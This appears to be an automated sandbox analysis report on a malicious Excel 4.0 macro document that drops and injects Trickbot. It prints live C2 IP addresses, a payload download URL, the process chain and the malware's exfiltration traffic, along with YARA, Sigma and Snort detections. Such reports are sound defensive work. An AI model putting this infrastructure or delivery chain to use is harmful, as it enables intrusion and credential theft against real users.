Play interactive tour

Edit tour

Analysis Report SecuriteInfo.com.Exploit.Siggen3.10350.15803.23095

Overview

General Information

Sample Name:	SecuriteInfo.com.Exploit.Siggen3.10350.15803.23095 (renamed file extension from 23095 to xls)
Analysis ID:	355598
MD5:	35ca616a3d685b7d1708eb901841879c
SHA1:	b5073681d9bc3885987ee74ec1325d96152c46f0
SHA256:	b9e1d6f26440468f142642382047529f94536f9601f4ffa70917c1b3ccac69e7
Most interesting Screenshot:

Detection

Hidden Macro 4.0 Trickbot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Document exploit detected (drops PE files)

Found malicious Excel 4.0 Macro

Found malware configuration

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Trickbot

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Drops PE files to the user root directory

Found Excel 4.0 Macro with suspicious formulas

Found evasive API chain (trying to detect sleep duration tampering with parallel thread)

Hijacks the control flow in another process

May check the online IP address of the machine

Office process drops PE file

Sigma detected: Microsoft Office Product Spawning Windows Shell

Sigma detected: Suspicious Svchost Process

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Writes to foreign memory regions

Allocates a big amount of memory (probably used for heap spraying)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Connects to several IPs in different countries

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query network adapater information

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Document contains embedded VBA macros

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Tries to load missing DLLs

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara signature match

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 2316 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

rundll32.exe (PID: 2524 cmdline: rundll32 ..\BASE.BABAA,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

rundll32.exe (PID: 2480 cmdline: rundll32 ..\BASE.BABAA,DllRegisterServer MD5: 51138BEEA3E2C21EC44D0932C71762A8)

wermgr.exe (PID: 2492 cmdline: C:\Windows\system32\wermgr.exe MD5: 41DF7355A5A907E2C1D7804EC028965D)

wermgr.exe (PID: 2408 cmdline: C:\Windows\system32\wermgr.exe MD5: 41DF7355A5A907E2C1D7804EC028965D)

svchost.exe (PID: 2296 cmdline: C:\Windows\system32\svchost.exe MD5: C78655BC80301D76ED4FEF1C1EA40A7D)

taskeng.exe (PID: 1544 cmdline: taskeng.exe {DA6299CA-95CA-4E9D-8945-2CC05321254C} S-1-5-18:NT AUTHORITY\System:Service: MD5: 65EA57712340C09B1B0C427B4848AE05)

rundll32.exe (PID: 2284 cmdline: C:\Windows\system32\rundll32.EXE 'C:\Users\user\AppData\Roaming\QNetMonitor7737977537\rpBASEtx.rrd',DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

cleanup

Malware Configuration

Threatname: Trickbot

{"gtag": "rob60", "C2 list": ["116.68.162.92:443", "190.239.34.181:443", "154.0.134.130:443", "187.95.136.38:443", "123.231.180.130:443", "109.69.4.201:443", "45.184.189.34:443", "193.8.194.96:443"], "modules": ["pwgrab", "mcconf"]}

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls	SUSP_Excel4Macro_AutoOpen	Detects Excel4 macro use with auto open / close	John Lambert @JohnLaTwC	0x0:$header_docf: D0 CF 11 E0 0x26ca2:$s1: Excel 0x27d0a:$s1: Excel 0x35b4:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2094061002.0000000000180000.00000040.00000001.sdmp	JoeSecurity_TrickBot_4	Yara detected Trickbot	Joe Security
00000004.00000003.2089754481.00000000006C4000.00000004.00000001.sdmp	JoeSecurity_TrickBot_4	Yara detected Trickbot	Joe Security
00000004.00000003.2089764139.00000000006C4000.00000004.00000001.sdmp	JoeSecurity_TrickBot_4	Yara detected Trickbot	Joe Security
00000004.00000002.2094284509.0000000000690000.00000004.00000020.sdmp	JoeSecurity_TrickBot_4	Yara detected Trickbot	Joe Security
00000004.00000002.2094761896.0000000002198000.00000004.00000001.sdmp	JoeSecurity_TrickBot_4	Yara detected Trickbot	Joe Security
Process Memory Space: wermgr.exe PID: 2408	JoeSecurity_Trickbot_1	Yara detected Trickbot	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.rundll32.exe.180000.0.raw.unpack	JoeSecurity_TrickBot_4	Yara detected Trickbot	Joe Security
4.2.rundll32.exe.180000.0.unpack	JoeSecurity_TrickBot_4	Yara detected Trickbot	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: rundll32 ..\BASE.BABAA,DllRegisterServer, CommandLine: rundll32 ..\BASE.BABAA,DllRegisterServer, CommandLine|base64offset|contains: ], Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2316, ProcessCommandLine: rundll32 ..\BASE.BABAA,DllRegisterServer, ProcessId: 2524

Sigma detected: Suspicious Svchost Process

Show sources

Source: Process started

Author: Florian Roth: Data: Command: C:\Windows\system32\svchost.exe, CommandLine: C:\Windows\system32\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\system32\wermgr.exe, ParentImage: C:\Windows\System32\wermgr.exe, ParentProcessId: 2408, ProcessCommandLine: C:\Windows\system32\svchost.exe, ProcessId: 2296

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://www.chipmania.it/mails/open.php

Avira URL Cloud: Label: malware

Found malware configuration

Show sources

Source: wermgr.exe.2408.6.memstr

Malware Configuration Extractor: Trickbot {"gtag": "rob60", "C2 list": ["116.68.162.92:443", "190.239.34.181:443", "154.0.134.130:443", "187.95.136.38:443", "123.231.180.130:443", "109.69.4.201:443", "45.184.189.34:443", "193.8.194.96:443"], "modules": ["pwgrab", "mcconf"]}

Multi AV Scanner detection for submitted file

Show sources

Source: SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls	Virustotal: Detection: 11%			Perma Link
Source: SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls	ReversingLabs: Detection: 27%

Yara detected Trickbot

Show sources

Source: Yara match

File source: Process Memory Space: wermgr.exe PID: 2408, type: MEMORY

Cryptography:

Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0007BCA0 CryptAcquireContextW,		6_2_0007BCA0
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_000000018008B68C CryptUnprotectData,		10_2_000000018008B68C

Compliance:

Uses insecure TLS / SSL version for HTTPS connection

Show sources

Source: unknown	HTTPS traffic detected: 193.8.194.96:443 -> 192.168.2.22:49170 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 193.8.194.96:443 -> 192.168.2.22:49173 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 193.8.194.96:443 -> 192.168.2.22:49175 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 193.8.194.96:443 -> 192.168.2.22:49177 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 193.8.194.96:443 -> 192.168.2.22:49178 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 193.8.194.96:443 -> 192.168.2.22:49179 version: TLS 1.0

Uses new MSVCR Dlls

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Binary contains paths to debug symbols

Show sources

Source:

Binary string: F:\projects\cryptor_beta\Bin\Crypter\CrypterDllReleaseNoLogs\Win32\Crypter.pdb source: rundll32.exe, 00000004.00000002.2095142044.000000006E169000.00000002.00020000.sdmp

Spreading:

Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00061290 FindFirstFileW,FindNextFileW,	6_2_00061290
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000646F0 FindFirstFileW,FindNextFileW,	6_2_000646F0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0007FBB0 FindFirstFileW,SleepEx,FindNextFileW,	6_2_0007FBB0

Software Vulnerabilities:

Document exploit detected (drops PE files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: 10[1].jjkes.0.dr

Jump to dropped file

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe

Jump to behavior

Source: excel.exe

Memory has grown: Private usage: 4MB later: 47MB

Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_00072C50
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_000784E0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then cmp byte ptr [ecx+edx+01h], 00000000h	6_2_00061500
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_000789B0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then movzx ecx, word ptr [eax+02h]	6_2_00069200
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then mov ecx, 00004E20h	6_2_00082659
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then movzx edx, word ptr [eax]	6_2_000646F0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then inc dword ptr [esp+40h]	6_2_000743C0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_000743C0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then inc ecx	6_2_0007B050
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_00073860
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec ecx	6_2_00081890
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_00081890
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_000698D0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then inc esp	6_2_000624E0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_0006E9E0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_00065DF0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then movzx eax, byte ptr [ebx]	6_2_0007BE20
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then inc esp	6_2_0007B240
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_000772A0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then inc edx	6_2_0006BEC0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then movzx ebx, word ptr [eax]	6_2_00073B00
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then mov ebx, edx	6_2_0006EBE0

Source: global traffic

DNS query: name: www.chipmania.it

Source: global traffic

TCP traffic: 192.168.2.22:49166 -> 94.140.114.136:443

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 185.81.0.78:80

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2404348 ET CNC Feodo Tracker Reported CnC Server TCP group 25 192.168.2.22:49166 -> 94.140.114.136:443
Source: Traffic	Snort IDS: 2404320 ET CNC Feodo Tracker Reported CnC Server TCP group 11 192.168.2.22:49170 -> 193.8.194.96:443
Source: Traffic	Snort IDS: 2021013 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC) 193.8.194.96:443 -> 192.168.2.22:49170
Source: Traffic	Snort IDS: 2021013 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC) 193.8.194.96:443 -> 192.168.2.22:49173
Source: Traffic	Snort IDS: 2404314 ET CNC Feodo Tracker Reported CnC Server TCP group 8 192.168.2.22:49174 -> 185.109.54.99:447
Source: Traffic	Snort IDS: 2021013 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC) 193.8.194.96:443 -> 192.168.2.22:49175
Source: Traffic	Snort IDS: 2021013 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC) 193.8.194.96:443 -> 192.168.2.22:49177
Source: Traffic	Snort IDS: 2021013 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC) 193.8.194.96:443 -> 192.168.2.22:49178
Source: Traffic	Snort IDS: 2021013 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC) 193.8.194.96:443 -> 192.168.2.22:49179

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 116.68.162.92:443
Source: Malware configuration extractor	IPs: 190.239.34.181:443
Source: Malware configuration extractor	IPs: 154.0.134.130:443
Source: Malware configuration extractor	IPs: 187.95.136.38:443
Source: Malware configuration extractor	IPs: 123.231.180.130:443
Source: Malware configuration extractor	IPs: 109.69.4.201:443
Source: Malware configuration extractor	IPs: 45.184.189.34:443
Source: Malware configuration extractor	IPs: 193.8.194.96:443

May check the online IP address of the machine

Show sources

Source: unknown	DNS query: name: wtfismyip.com
Source: unknown	DNS query: name: wtfismyip.com
Source: unknown	DNS query: name: wtfismyip.com
Source: unknown	DNS query: name: wtfismyip.com

Source: unknown

Network traffic detected: IP country count 11

Source: global traffic

TCP traffic: 192.168.2.22:49174 -> 185.109.54.99:447

Source: Joe Sandbox View	IP Address: 185.81.0.78 185.81.0.78
Source: Joe Sandbox View	IP Address: 193.8.194.96 193.8.194.96

Source: Joe Sandbox View	ASN Name: LINTASARTA-AS-APNetworkAccessProviderandInternetServic LINTASARTA-AS-APNetworkAccessProviderandInternetServic
Source: Joe Sandbox View	ASN Name: TelefonicadelPeruSAAPE TelefonicadelPeruSAAPE

Source: Joe Sandbox View

JA3 fingerprint: 8c4a22651d328568ec66382a84fc505f

Source: global traffic	HTTP traffic detected: GET /mails/open.php HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.chipmania.itConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/83/ HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=---------FNVPIRVIEKQTDGGIConnection: CloseUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 116.68.162.92:443Content-Length: 282Cache-Control: no-cache

Source: unknown	HTTPS traffic detected: 193.8.194.96:443 -> 192.168.2.22:49170 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 193.8.194.96:443 -> 192.168.2.22:49173 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 193.8.194.96:443 -> 192.168.2.22:49175 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 193.8.194.96:443 -> 192.168.2.22:49177 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 193.8.194.96:443 -> 192.168.2.22:49178 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 193.8.194.96:443 -> 192.168.2.22:49179 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 94.140.114.136
Source: unknown	TCP traffic detected without corresponding DNS query: 94.140.114.136
Source: unknown	TCP traffic detected without corresponding DNS query: 94.140.114.136
Source: unknown	TCP traffic detected without corresponding DNS query: 94.140.114.136
Source: unknown	TCP traffic detected without corresponding DNS query: 94.140.114.136
Source: unknown	TCP traffic detected without corresponding DNS query: 94.140.114.136
Source: unknown	TCP traffic detected without corresponding DNS query: 194.5.249.156
Source: unknown	TCP traffic detected without corresponding DNS query: 194.5.249.156
Source: unknown	TCP traffic detected without corresponding DNS query: 194.5.249.156
Source: unknown	TCP traffic detected without corresponding DNS query: 194.5.249.156
Source: unknown	TCP traffic detected without corresponding DNS query: 194.5.249.156
Source: unknown	TCP traffic detected without corresponding DNS query: 194.5.249.156
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 185.109.54.99
Source: unknown	TCP traffic detected without corresponding DNS query: 185.109.54.99
Source: unknown	TCP traffic detected without corresponding DNS query: 185.109.54.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.8.194.96
Source: unknown	TCP traffic detected without corresponding DNS query: 185.109.54.99
Source: unknown	TCP traffic detected without corresponding DNS query: 185.109.54.99
Source: unknown	TCP traffic detected without corresponding DNS query: 185.109.54.99
Source: unknown	TCP traffic detected without corresponding DNS query: 185.109.54.99
Source: unknown	TCP traffic detected without corresponding DNS query: 185.109.54.99
Source: unknown	TCP traffic detected without corresponding DNS query: 185.109.54.99
Source: unknown	TCP traffic detected without corresponding DNS query: 185.109.54.99
Source: unknown	TCP traffic detected without corresponding DNS query: 185.109.54.99
Source: unknown	TCP traffic detected without corresponding DNS query: 185.109.54.99
Source: unknown	TCP traffic detected without corresponding DNS query: 185.109.54.99
Source: unknown	TCP traffic detected without corresponding DNS query: 185.109.54.99

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /mails/open.php HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.chipmania.itConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /text HTTP/1.1Connection: Keep-AliveUser-Agent: curl/7.71.0Host: wtfismyip.com

Source: rundll32.exe, 00000003.00000002.2095309685.0000000001BE0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2094325254.0000000001D70000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2362993370.0000000033B30000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2357183823.0000000000850000.00000002.00000001.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: www.chipmania.it

Source: unknown

HTTP traffic detected: POST /rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/83/ HTTP/1.1Accept: */*Content-Type: multipart/form-data; boundary=---------FNVPIRVIEKQTDGGIConnection: CloseUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 116.68.162.92:443Content-Length: 282Cache-Control: no-cache

Source: wermgr.exe, 00000006.00000002.2357365100.0000000000423000.00000004.00000020.sdmp	String found in binary or memory: Https://193.8.194.96/rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/1/bnfhZJn91PhwAc8eqCIkI2c
Source: wermgr.exe, 00000006.00000002.2362023114.000000003205D000.00000004.00000040.sdmp	String found in binary or memory: http://109.69.4.201:443
Source: wermgr.exe, 00000006.00000002.2362068163.0000000032D8C000.00000004.00000040.sdmp, wermgr.exe, 00000006.00000002.2362023114.000000003205D000.00000004.00000040.sdmp	String found in binary or memory: http://116.68.162.92:443
Source: wermgr.exe, 00000006.00000002.2362023114.000000003205D000.00000004.00000040.sdmp	String found in binary or memory: http://123.231.180.130:443
Source: wermgr.exe, 00000006.00000002.2362023114.000000003205D000.00000004.00000040.sdmp	String found in binary or memory: http://154.0.134.130:443
Source: wermgr.exe, 00000006.00000002.2362023114.000000003205D000.00000004.00000040.sdmp	String found in binary or memory: http://187.95.136.38:443
Source: wermgr.exe, 00000006.00000002.2362023114.000000003205D000.00000004.00000040.sdmp	String found in binary or memory: http://190.239.34.181:443
Source: wermgr.exe, 00000006.00000002.2362023114.000000003205D000.00000004.00000040.sdmp	String found in binary or memory: http://45.184.189.34:443
Source: wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: wermgr.exe, 00000006.00000003.2299229842.0000000033367000.00000004.00000001.sdmp	String found in binary or memory: http://crl.use
Source: wermgr.exe, 00000006.00000002.2357365100.0000000000423000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enl
Source: rundll32.exe, 00000003.00000002.2095309685.0000000001BE0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2094325254.0000000001D70000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2362993370.0000000033B30000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2357183823.0000000000850000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000003.00000002.2095309685.0000000001BE0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2094325254.0000000001D70000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2362993370.0000000033B30000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2357183823.0000000000850000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000003.00000002.2095488522.0000000001DC7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2094574045.0000000001F57000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2363189685.0000000033D17000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2357387753.0000000000A37000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000003.00000002.2095488522.0000000001DC7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2094574045.0000000001F57000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2363189685.0000000033D17000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2357387753.0000000000A37000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: wermgr.exe, 00000006.00000003.2299229842.0000000033367000.00000004.00000001.sdmp	String found in binary or memory: http://logo.veri
Source: wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: wermgr.exe, 00000006.00000002.2357305379.00000000003BD000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: wermgr.exe, 00000006.00000002.2362599901.0000000033740000.00000002.00000001.sdmp, taskeng.exe, 00000008.00000002.2357215363.0000000000800000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: wermgr.exe, 00000006.00000002.2363434960.0000000034070000.00000002.00000001.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: rundll32.exe, 00000003.00000002.2095488522.0000000001DC7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2094574045.0000000001F57000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2363189685.0000000033D17000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2357387753.0000000000A37000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: rundll32.exe, 00000003.00000002.2095488522.0000000001DC7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2094574045.0000000001F57000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2363189685.0000000033D17000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2357387753.0000000000A37000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
